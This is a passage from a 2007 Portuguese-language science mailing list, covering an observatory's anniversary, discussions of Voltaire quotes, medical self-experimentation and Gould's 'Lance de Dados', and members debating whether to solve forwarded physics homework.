Compartilho com todos vocês deste momento, visto que muitos viram o Monoceros nascer, crescer e se desenvolver, bem como também fizeram e fazem parte desta caminhada, desta história!

A todos os meus sinceros agradecimentos!

E tenho a certeza que, juntos, seguiremos adiante na nossa tão amada Ciência de Urânia!

Grande e fraterno abraço a todos,


Lucimary Vargas
Direção Geral OAM
Além Paraíba-MG-Brasil
www.monoceros.xpg.com.br
www.arquivohistorico-mg.com.br

********************************************
Estimados Amigos,

Es con mucha felicidad y emocción que hoy conmemoramos 32 años de fundación del Observatorio Astronómico Monoceros.
Muchas fueron las luchas , perdidas, y también tuvimos conquistas y victórias!
Comparto con todos ustedes este momento, ya que muchos vieron nacer , crescer y desarrollar a Monoceros, así como también hicieron y hacen parte de este caminar y de esta história!

A todos ustedes mis sinceros agradecimientos!

Y tengo la certeza de que juntos seguiremos avanzando en nuestra tan amada Ciéncia de Uránia!

Un grande y fraterno abrazo a todos,

Lucimary Vargas
Dirección General OAM
Além Paraíba-MG-Brasil
www.monoceros.xpg.com.br
www.arquivohistorico-mg.com.br






























[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/07/2007 22:11

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Já esclarecemos essas possibilidades anteriormente.
> O que não me parece razoável é descartar a força ou empuxo do vento.

Vc fez as simulações?

Ache algum valor para ax q combinado com o ay = g resulte em uma
trajetória *reta* e não em arco de parábola e aí a gente conversa.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 00:12

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Ache algum valor para ax q combinado com o ay = g resulte em uma
> trajetória *reta* e não em arco de parábola e aí a gente conversa.

Aliás, q resulte em um arco de parábola e não em trajetória reta.

[]s,

Roberto Takata



SUBJECT: [RN] The Amazing Colour Changing Card Trick
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 00:13

Estadão, 15 de julho de 2007

Psicólogo consegue mais de 1 milhão de acessos no YouTube
http://render.estadao.com.br/vidae/not_vid19283,0.htm
=============
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] [RN] The Amazing Colour Changing Card Trick
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 01:53

On 7/16/07, rmtakata <roberto.takata@bol.com.br> wrote:
> Estadão, 15 de julho de 2007
> Psicólogo consegue mais de 1 milhão de acessos no YouTube
> http://render.estadao.com.br/vidae/not_vid19283,0.htm
> =============

O vídeo do truque, legendado em português:
http://100nexos.com/arquivo/162

[]s

Mori


SUBJECT: Re: [ciencialist] Formação de 20 mil doutores
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 08:35

Realmente, não ajudou muito. Dá impressão que é qualquer baboseira-inicial
que sempre se diz em reuniões e solenidades (parece ser obrigatório
apresentar números pseudo-significativos.

Gil

Em 15/07/07, Dirceu Dias <hymboldt2005@yahoo.com.br> escreveu:
>
> Acabei de consultar
>
> A UEA oferece 3820 (total) vagas para o vestibular 2007
>
>
> DDias
>
>
> ----- Mensagem original ----
> De: Gil <nanolink01@gmail.com>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Domingo, 15 de Julho de 2007 9:28:18
> Assunto: Re: [ciencialist] Formação de 20 mil doutores
>
> Ele nao disse mais nada antes, ou depois? Em que contexto ele estava
> falando?
>
> Gil
>
> Em 14/07/07, hymboldt2005 <hymboldt2005@ yahoo.com. br> escreveu:
> >
> > O professor Ênio Candotti fez a seguinte declaração na SBPC:
> >
> > Há necessidade de formar 20.000 (vinte mil) doutores nos próximos anos
> > na região amazônica.
> >
> > Com todo o respeito ao professor Ênio, alguém pode me explicar como é
> > que se faz isso?
> >
> > O que significa próximos anos?
> >
> > sds
> >
> > DDias
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SUBJECT: RES: [ciencialist] voltaire
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 09:29

Olá,





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Amauri N. Sanches Jr
Enviada em: sexta-feira, 13 de julho de 2007 12:30
Para: Acropolis_@yahoogrupos.com.br; ciencialist;
cascata_de_luz@yahoogrupos.com.br; sandraamauri@yahoo.com.br; Lucimary
Vargas; lucia2245@hotmail.com
Assunto: [ciencialist] voltaire



>>"Pode ser que não estejamos de acordo com as idéias dos outros, mas
devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire

Victor: Voltaire era um gozador inteligente. Mas não creio que tenha sido
tão imbecil a ponto de proferir tamanha tolice. Já vi isso escrito em
diversas citações, como sendo atribuído a ele. Contudo, a frase atribuída a
ele tem outra redação, mas o sentido é mesmo. Galileu é que estava certo.
Na hora que suas verdades iriam fazê-lo virar churrasco, ele deve ter dito:
Fui! Besta é côco...E então fez aquela abjuração. Giordano Bruno deu uma de
macho e morreram ele, numa fogueira.



>>"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire

Victor: Só faltou ele indicar o culpado pelos acasos... Se não há acasos
aos borbotões, então haverá predestinação, líquida e certa.


>>"A falsa ciência gera ateus; a verdadeira ciência leva os homens a se
curvar
diante da divindade."
Voltaire

Victor: Tolices do tipo eram típicas do clima religioso da época. Nem um
cara inteligente como Voltaire escapou.

Mas, se mal me pergunto, a que falsa ciência ele se referia? Alguém, como o
autor das citações, poderia listar algumas?

E qual a verdadeira ciência, aquela que leva à divindade? Pois, a de que
tenho conhecimento faz exatamente o contrário, já que indica que não pode
haver coisas assim. Seria esta, segundo a “premissa” acima, uma falsa
ciência?

Só estou perguntando.

Sds,

Victor.


--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire

"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

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SUBJECT: RES: [ciencialist] Experimentos com o proprio corpo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 11:45

Guilherme,



Tem razão, é endoscopia digestiva mesmo. Grato pela correção. Anotei as
informações complementares.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Guilherme Ramos Sens
Enviada em: sexta-feira, 13 de julho de 2007 19:55
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Experimentos com o proprio corpo



O exame é endoscopia digestiva!
E gastrites e úlceras não são causadas apenas pelo Helicobacter pylori pois
como a maioria das doenças não é unicausal. E sim a influência psicogênica
faz parte da etiopatogenia das dispepsias como um todo.

Um abraço

Guilherme Ramos Sens
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Friday, July 13, 2007 6:03 AM
Subject: RES: [ciencialist] Experimentos com o proprio corpo

Mori,

Ø Um caso recente contado na série é o do médico q ingeriu colônias de
bactérias causadoras de úlcera para provas que grastite e úlcera eram
realmente causadas por infecções bacterianas.

Victor: Passei uns 10 anos de minha vida com problemas de úlceras. Os
médicos, todos, diziam tratar-se de problemas nervosos, de estresse, que eu
era um cara muito ansioso, impulsivo, que isso produzia isso e aquilo, que
eu deveria buscar o nirvana, e tome Pepsamar, Maalox Plus, e outras coisas à
base dos mesmos componentes. E os regimes alimentares? Putz! Um dia, um
deles, evoluiu e solicitou um horroroso (hoje não é mais) exame, uma
gastroentologia(achjo que é assim, o nome). Era o advento da fibra óptica e
das minicâmeras aplicadas à ciência. O exame acusou a existência de uma
bactéria, uma tal de "agá piloris"(AA grafia não é essa, mas só como se
pronuncia). Pronto, encontrado o caminho das pedras. Após cumprir a
medicação, o problema acabou, até hoje.

Coisas simples de novas tecnologias proporcionada pela ciência. Resultado,
morrerei sem úlceras. È um consolo?

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Kentaro Mori
Enviada em: sexta-feira, 13 de julho de 2007 01:23
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: Re: [ciencialist] Experimentos com o proprio corpo

Ah, lembro que na série também comentam do médico inglês, penso q do
século 18 ou 19, que tentou establecer a relação entre sífilis e
gonorréia. Ele escreveu um diário detalhando com grande minúcia como
um voluntário humano foi consciente e deliberdamente infectado com o
pus de um paciente com gonorréia, e todos os estágios da doença. Como
ele esperava, o paciente progrediu dos sintomas de gonorréia até os de
sífilis, provando assim que sífilis era apenas um estágio avançado da
gonorréia.

Hoje sabemos que o experimento tinha a falha crucial de que o pus
continha vetores tanto de gonorréia quanto de sífilis, mas de acordo
com o documentário, o livro e a metodologia rigorosa descrita foram
revolucionários para a época.

O médico nunca deu um nome ao voluntário, mas acredita-se ser muito
provável que ele infectou a si mesmo.

Um caso recente contado na série é o do médico q ingeriu colônias de
bactérias causadoras de úlcera para provas que grastite e úlcera eram
realmente causadas por infecções bacterianas. Ganhou um Nobel.

[]s

Mori

On 7/13/07, Kentaro Mori <kentaro.mori@gmail.com
<mailto:kentaro.mori%40gmail.com>
<mailto:kentaro.mori%40gmail.com> > wrote:
> Há uma série de documentários, "Medical Mavericks", que documenta
> vários experimentos que médicos fizeram consigo mesmos.
>
> Um deles experimentou ficar uma semana comendo apenas um tipo de
> comida. Isso foi no século 17 ou 18, se me lembro, e o conhecimento
> sobre nturição era inexistente. O médico acabou morrendo de
> desnutrição.
>
> Também há o médico que descobriu os efeitos anestésicos do gás
> hiliriante, mas preferiu usar o gás para efeitos recreativos. Apenas
> anos depois um dentista teve a idéia de usar o gás para extração de
> dentes, e acabou testando nele mesmo.
>
> Também há os que descobriram a relação entre malária e o mosquito.
> Foram na verdade três médicos que se dispuseram a ser picados por
> mosquitos contaminados, e o médico que realmente teve a idéia acabou
> morrendo com a doença. O médico que ficou com os créditos foi o que
> fugiu do experimento.
>
> Escrevo isto de memória, que no meu caso é péssima. Fui no Google e
> encontrei o site da sé´rie:
>
http://www.bbc.co.uk/bbcfour/documentaries/features/medical-mavericks.shtml
>
> []s
>
> Mori
>
> On 7/12/07, Luis Brudna <luisbrudna@gmail.com
<mailto:luisbrudna%40gmail.com>
<mailto:luisbrudna%40gmail.com> > wrote:
> >
> >
> >
> >
> >
> >
> > No Gluon Blog adaptei dois textos sobre cientistas que realizaram
> > experimentos em seu proprio corpo.
> >
> > Escala de ferroadas e o ritual
> > http://www.gluon.com.br/blog/2007/07/11/escala-dor-ferroadas/
> >
> > Transplante de testículos de macacos em seres humanos
> > http://www.gluon.com.br/blog/2007/06/20/testiculos-homens-macacos/
> >
> > Alguem lembra de mais algum caso? Com certeza devem existir mais.
> >
> > Ateh
> > Luis Brudna
> >
> > =-=-=-
> >
>

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__________ Informação do NOD32 IMON 2397 (20070713) __________

Esta mensagem foi verificada pelo NOD32 sistema antivírus
http://www.eset.com.br

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SUBJECT: Re: [ciencialist] voltaire
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 12:16

Moary:
Vs. não cansa de repetir essa ladaínha?
Galileu não foi pra gogueira porquê tinha um tio bispo: negociou com o papa. Ficou preso em casa até a morte.

bom dia,
silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 16, 2007 9:29 AM
Subject: RES: [ciencialist] voltaire


Olá,

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Amauri N. Sanches Jr
Enviada em: sexta-feira, 13 de julho de 2007 12:30
Para: Acropolis_@yahoogrupos.com.br; ciencialist;
cascata_de_luz@yahoogrupos.com.br; sandraamauri@yahoo.com.br; Lucimary
Vargas; lucia2245@hotmail.com
Assunto: [ciencialist] voltaire

>>"Pode ser que não estejamos de acordo com as idéias dos outros, mas
devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire

Victor: Voltaire era um gozador inteligente. Mas não creio que tenha sido
tão imbecil a ponto de proferir tamanha tolice. Já vi isso escrito em
diversas citações, como sendo atribuído a ele. Contudo, a frase atribuída a
ele tem outra redação, mas o sentido é mesmo. Galileu é que estava certo.
Na hora que suas verdades iriam fazê-lo virar churrasco, ele deve ter dito:
Fui! Besta é côco...E então fez aquela abjuração. Giordano Bruno deu uma de
macho e morreram ele, numa fogueira.

>>"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire

Victor: Só faltou ele indicar o culpado pelos acasos... Se não há acasos
aos borbotões, então haverá predestinação, líquida e certa.

>>"A falsa ciência gera ateus; a verdadeira ciência leva os homens a se
curvar
diante da divindade."
Voltaire

Victor: Tolices do tipo eram típicas do clima religioso da época. Nem um
cara inteligente como Voltaire escapou.

Mas, se mal me pergunto, a que falsa ciência ele se referia? Alguém, como o
autor das citações, poderia listar algumas?

E qual a verdadeira ciência, aquela que leva à divindade? Pois, a de que
tenho conhecimento faz exatamente o contrário, já que indica que não pode
haver coisas assim. Seria esta, segundo a "premissa" acima, uma falsa
ciência?

Só estou perguntando.

Sds,

Victor.

--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire

"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

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SUBJECT: [RN] Lei de crimes ambientais e pesquisa
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 12:23

Folha Online, 16-07-2007

Regra "neurótica" para pesquisa pode ter mais cinco anos
http://www1.folha.uol.com.br/folha/ciencia/ult306u312223.shtml
------------
[]s,

Roberto Takata



SUBJECT: "Lance de dados", de Stephen Jay Gould
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 12:35

Acabo de ler "Lance de Dados", de Stephen Jay Gould e publiquei uma espécie
de "resenha-resumo" em
http://alvaroaugusto.blogspot.com/2007/07/lance-de-dados-de-stephen-jay-gould.html

Muito interessante. Estou cada vez mais impressionado com o fato de que os
biólogos haviam demolido o determinismo por volta de 1860, enquanto Einstein
ainda se opunha a ele por volta de 1930 (e, provavelmente, até 1955).

[ ]s

Alvaro Augusto



SUBJECT: Re: "Lance de dados", de Stephen Jay Gould
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 12:50

O terceiro parágrafo repetiu o segundo...

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
http://alvaroaugusto.blogspot.com/2007/07/lance-de-dados-de-stephen-jay-gould.html




SUBJECT: Re: [ciencialist] Re: "Lance de dados", de Stephen Jay Gould
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 14:11

Ops! Esse é o problema de escrever antes no Word e ir colando os parágrafos
um a um...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 16, 2007 12:50 PM
Subject: [ciencialist] Re: "Lance de dados", de Stephen Jay Gould


O terceiro parágrafo repetiu o segundo...

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
http://alvaroaugusto.blogspot.com/2007/07/lance-de-dados-de-stephen-jay-gould.html




SUBJECT: Re: "Lance de dados", de Stephen Jay Gould
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 14:33

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> Ops! Esse é o problema de escrever antes no Word e ir colando os
> parágrafos um a um...

A resenha de Dawkins sobre o Full House...

Human Chauvinism
http://www.simonyi.ox.ac.uk/dawkins/WorldOfDawkins-archive/Dawkins/Work/Reviews/1997-06fullhouse.shtml

Esses dois se adoravam...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] "Lance de dados", de Stephen Jay Gould
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 14:53

Olá Alvaro

Eu li Lance de Dados com muito esforço. Não que não seja um bom livro, ou que não tenha informação pertinente e interessante, mas achei exageradamente ligado a aspectos da cultura americana que nós, ou pelo menos eu, não dominamos bem, como o beiseball. E isso tornou muito mais difícil acompanhar as já difíceis questões matemático/estatisticas. O livro é ótimo, mas me deu bastante trabalho, e não sei se concordo com o sucesso de Gould em eliminar a "aridez matemática" do tema..:-)

A cada vez que eu comprendia um aspecto da estatística, que nos "ilude" quase sempre devido ao nosso 'bom senso", eu ficava contente, mas tinha a impressão que o beiseball mais me atrapalhava do que ajudava..:-) Talvez se ele usasse outro esporte, como ftebol ou a "porrinha", eu achasse mais fácil..:-).

Em especial, a tal média de 0,4, que foi dificil de entrar em minha cabeça..:-)

Em tempo, gostei bastante de sua resenha.

Um abraço.

Homero



----- Original Message -----
From: Alvaro Augusto (U)
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 16, 2007 12:35 PM
Subject: [ciencialist] "Lance de dados", de Stephen Jay Gould


Acabo de ler "Lance de Dados", de Stephen Jay Gould e publiquei uma espécie
de "resenha-resumo" em
http://alvaroaugusto.blogspot.com/2007/07/lance-de-dados-de-stephen-jay-gould.html

Muito interessante. Estou cada vez mais impressionado com o fato de que os
biólogos haviam demolido o determinismo por volta de 1860, enquanto Einstein
ainda se opunha a ele por volta de 1930 (e, provavelmente, até 1955).

[ ]s

Alvaro Augusto





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: F�sica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 17:33

Cadê meus assessores físicos?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Odair Junior
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 16 de julho de 2007 15:42
Assunto: Física


Olá professor léo, tudo bem? Sou Odair e tenho uns probleminhas(3) de Física que não estou conseguindo resolvê-los, e, estou muito curioso, pois são muito interessantes. Por favor professor, resolva-os para mim:

1.Um transformador elétrico é constituído por um núcleo ferromagnético envolvido por duas bobinas de fio condutor, a bobina primária com N1 espiras e a bobina secundária com N2 espiras.Uma tensão e1(t), variável no tempo, aplicada à bobina primária, origina um fluxo magnético no núcleo, também variável no tempo. Por sua vez, um fluxo variável através da bobina secundária origina uma tensão secundária e2(t). Desprezando a resistência dos enrolamentos, as perdas no núcleo e supondo que todo flixo magnético circula através dele: a). Determine e2(t) em função de e1(t) de N1 e de N2, supondo que não há carga na bobina secundária. b). Determine a relação entre a tensão de entrada e a respectiva corrente. c). Determine o fluxo magnético no núcleo e qual deverá ser a secção do mesmo de modo a que o valor de B não exceda 0,8 T.

2.Considere a onda eletromagnética descrita por: Ex=0 Ey=E0cos[w(t-x/c)] Ez=0
Com o auxílio das equações de Maxwell, determine a expressão do campo magnético associado.

3. Considere uma partícula confinada numa caixa de comprimento L. Se a função de onda é dada por y(x)=raiz de 2/L sen3pix/L, qual a probabilidade de encontrar essa partícula entre 2L/3 e L?




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Quest�o da UFRJ
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 17:35

Ainda para meus assessores.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Sílvio Américo Bicalho Piacenza Piacenza
Para: Luiz Ferraz Netto
Enviada em: segunda-feira, 16 de julho de 2007 16:25
Assunto: Questão da UFRJ


Prezado Mestre: Caso possível gostaria da explicação deste problema.

Grato.


O olho humano retém durante 1/24 de segundo as imagens que se formam na retina. Essa memória visual permitiu a invenção do cinema. A filmadora bate 24 fotografias (fotogramas) por segundo. Uma vez revelado, o filme é projetado à razão de 24 fotogramas por segundo. Assim, o fotograma seguinte é projetado no exato instante em que o fotograma anterior está desaparecendo de nossa memória visual, o que nos dá a sensação de continuidade.

Filma-se um ventilador cujas pás estão girando no sentido horário. Este ventilador possui quatro pás simetricamente dispostas, uma das quais pintadas de cor diferente. Ao projetarmos o filme, os fotogramas aparecem na tela numa sequência que nos dá a sensação de que as pás estão girando em sentido anti-horário.

Desta forma, o número mínimo de rotações por segundo que as pás devem estar efetuando, para que isto ocorra, é de:

A) 12
B) 18
C) 24
D) 36
E) 42

Resposta pela minha apostila: B) 18


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] "Lance de dados", de Stephen Jay Gould
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 17:39

Caro Homero,

Também tive dificuldades com a questão do beisebol, mas, como tive que me
virar também com outros conceitos fora da minha área, como biologia e
paleontologia, o beisebol foi apenas mais um detalhe ...

Quanto à aridez matemática, talvez eu tenha exagerado e deixado de
considerar que o livro deveria ser acessível a um número maior de leitores.
Mas, tratando-se de um livro que trata de biologia, paleontologia, beisebol,
estatística e oncologia em 330 páginas, até que está bom.

Obrigado pelos comentários.

[ ]s

Alvaro Augusto




----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 16, 2007 2:53 PM
Subject: Re: [ciencialist] "Lance de dados", de Stephen Jay Gould


Olá Alvaro

Eu li Lance de Dados com muito esforço. Não que não seja um bom livro, ou
que não tenha informação pertinente e interessante, mas achei exageradamente
ligado a aspectos da cultura americana que nós, ou pelo menos eu, não
dominamos bem, como o beiseball. E isso tornou muito mais difícil acompanhar
as já difíceis questões matemático/estatisticas. O livro é ótimo, mas me deu
bastante trabalho, e não sei se concordo com o sucesso de Gould em eliminar
a "aridez matemática" do tema..:-)

A cada vez que eu comprendia um aspecto da estatística, que nos "ilude"
quase sempre devido ao nosso 'bom senso", eu ficava contente, mas tinha a
impressão que o beiseball mais me atrapalhava do que ajudava..:-) Talvez se
ele usasse outro esporte, como ftebol ou a "porrinha", eu achasse mais
fácil..:-).

Em especial, a tal média de 0,4, que foi dificil de entrar em minha
cabeça..:-)

Em tempo, gostei bastante de sua resenha.

Um abraço.

Homero



----- Original Message -----
From: Alvaro Augusto (U)
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 16, 2007 12:35 PM
Subject: [ciencialist] "Lance de dados", de Stephen Jay Gould


Acabo de ler "Lance de Dados", de Stephen Jay Gould e publiquei uma
espécie
de "resenha-resumo" em
http://alvaroaugusto.blogspot.com/2007/07/lance-de-dados-de-stephen-jay-gould.html

Muito interessante. Estou cada vez mais impressionado com o fato de que os
biólogos haviam demolido o determinismo por volta de 1860, enquanto
Einstein
ainda se opunha a ele por volta de 1930 (e, provavelmente, até 1955).

[ ]s

Alvaro Augusto




SUBJECT: Re: Fw: Questão da UFRJ
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 18:17

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Sílvio Américo Bicalho Piacenza Piacenza
> Desta forma, o número mínimo de rotações por segundo que as pás
devem estar efetuando, para que isto ocorra, é de:
>
> A) 12
> B) 18
> C) 24
> D) 36
> E) 42

Se o ventilador gira a 24 voltas por segundo, ele dará uma volta
completa a cada 1/24 segundo, desse modo cada fotograma registrará o
ventilador ao final de uma volta completa - o q fará com q ele pareça
parado.

Se o ventilador gira a 12 voltas por segundo, ele dará uma volta
completa a cada 1/12 segundo - em 1/24 segundo ele dará meia volta.
Assim cada fotograma registrará a pá pintada alternando-se em posições
diametralmente opostas.

Agora é só usar esse raciocínio para chegar à conclusão.

[]s,

Roberto Takata




SUBJECT: Re: [ciencialist] Fw: Física
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/07/2007 20:18

É sério ou de brincadeira? Casualmente, sei responder às três questões, mas
não gostaria que outro professor resolvesse exercícios que passo para os
meus alunos...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 16, 2007 5:33 PM
Subject: [ciencialist] Fw: Física


Cadê meus assessores físicos?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Odair Junior
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 16 de julho de 2007 15:42
Assunto: Física


Olá professor léo, tudo bem? Sou Odair e tenho uns probleminhas(3) de Física
que não estou conseguindo resolvê-los, e, estou muito curioso, pois são
muito interessantes. Por favor professor, resolva-os para mim:

1.Um transformador elétrico é constituído por um núcleo ferromagnético
envolvido por duas bobinas de fio condutor, a bobina primária com N1 espiras
e a bobina secundária com N2 espiras.Uma tensão e1(t), variável no tempo,
aplicada à bobina primária, origina um fluxo magnético no núcleo, também
variável no tempo. Por sua vez, um fluxo variável através da bobina
secundária origina uma tensão secundária e2(t). Desprezando a resistência
dos enrolamentos, as perdas no núcleo e supondo que todo flixo magnético
circula através dele: a). Determine e2(t) em função de e1(t) de N1 e de N2,
supondo que não há carga na bobina secundária. b). Determine a relação entre
a tensão de entrada e a respectiva corrente. c). Determine o fluxo magnético
no núcleo e qual deverá ser a secção do mesmo de modo a que o valor de B não
exceda 0,8 T.

2.Considere a onda eletromagnética descrita por: Ex=0 Ey=E0cos[w(t-x/c)]
Ez=0
Com o auxílio das equações de Maxwell, determine a expressão do campo
magnético associado.

3. Considere uma partícula confinada numa caixa de comprimento L. Se a
função de onda é dada por y(x)=raiz de 2/L sen3pix/L, qual a probabilidade
de encontrar essa partícula entre 2L/3 e L?







SUBJECT: Re: Fw: Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 22:22

Melhor pedir para esse Odair enviar as tentativas deles de resposta.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Cadê meus assessores físicos?
>
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Odair Junior
> Enviada em: segunda-feira, 16 de julho de 2007 15:42
> Assunto: Física
>
>
> Olá professor léo, tudo bem? Sou Odair e tenho uns probleminhas(3)
de Física que não estou conseguindo resolvê-los, e, estou muito
curioso, pois são muito interessantes. Por favor professor, resolva-os
para mim:




SUBJECT: Re: Fw: Física
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/07/2007 23:54

Eu fico me perguntando porque que os "consulentes" não têm nenhum
interesse pela teoria ou pelos conceitos envolvidos e, ao invés disso,
ficam postando pedidos de "resolução de problemas". Eu me recuso a
fazer a lição de casa de meus alunos, imagine a dos alunos dos outros
então. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
<alvaro@...> escreveu
>
> É sério ou de brincadeira? Casualmente, sei responder às três
questões, mas
> não gostaria que outro professor resolvesse exercícios que passo
para os
> meus alunos...
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@...>
> To: "ciencialist" <ciencialist@yahoogrupos.com.br>
> Sent: Monday, July 16, 2007 5:33 PM
> Subject: [ciencialist] Fw: Física
>
>
> Cadê meus assessores físicos?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Odair Junior
> Para: leobarretos@...
> Enviada em: segunda-feira, 16 de julho de 2007 15:42
> Assunto: Física
>
>
> Olá professor léo, tudo bem? Sou Odair e tenho uns probleminhas(3)
de Física
> que não estou conseguindo resolvê-los, e, estou muito curioso, pois são
> muito interessantes. Por favor professor, resolva-os para mim:
>
> 1.Um transformador elétrico é constituído por um núcleo ferromagnético
> envolvido por duas bobinas de fio condutor, a bobina primária com N1
espiras
> e a bobina secundária com N2 espiras.Uma tensão e1(t), variável no
tempo,
> aplicada à bobina primária, origina um fluxo magnético no núcleo,
também
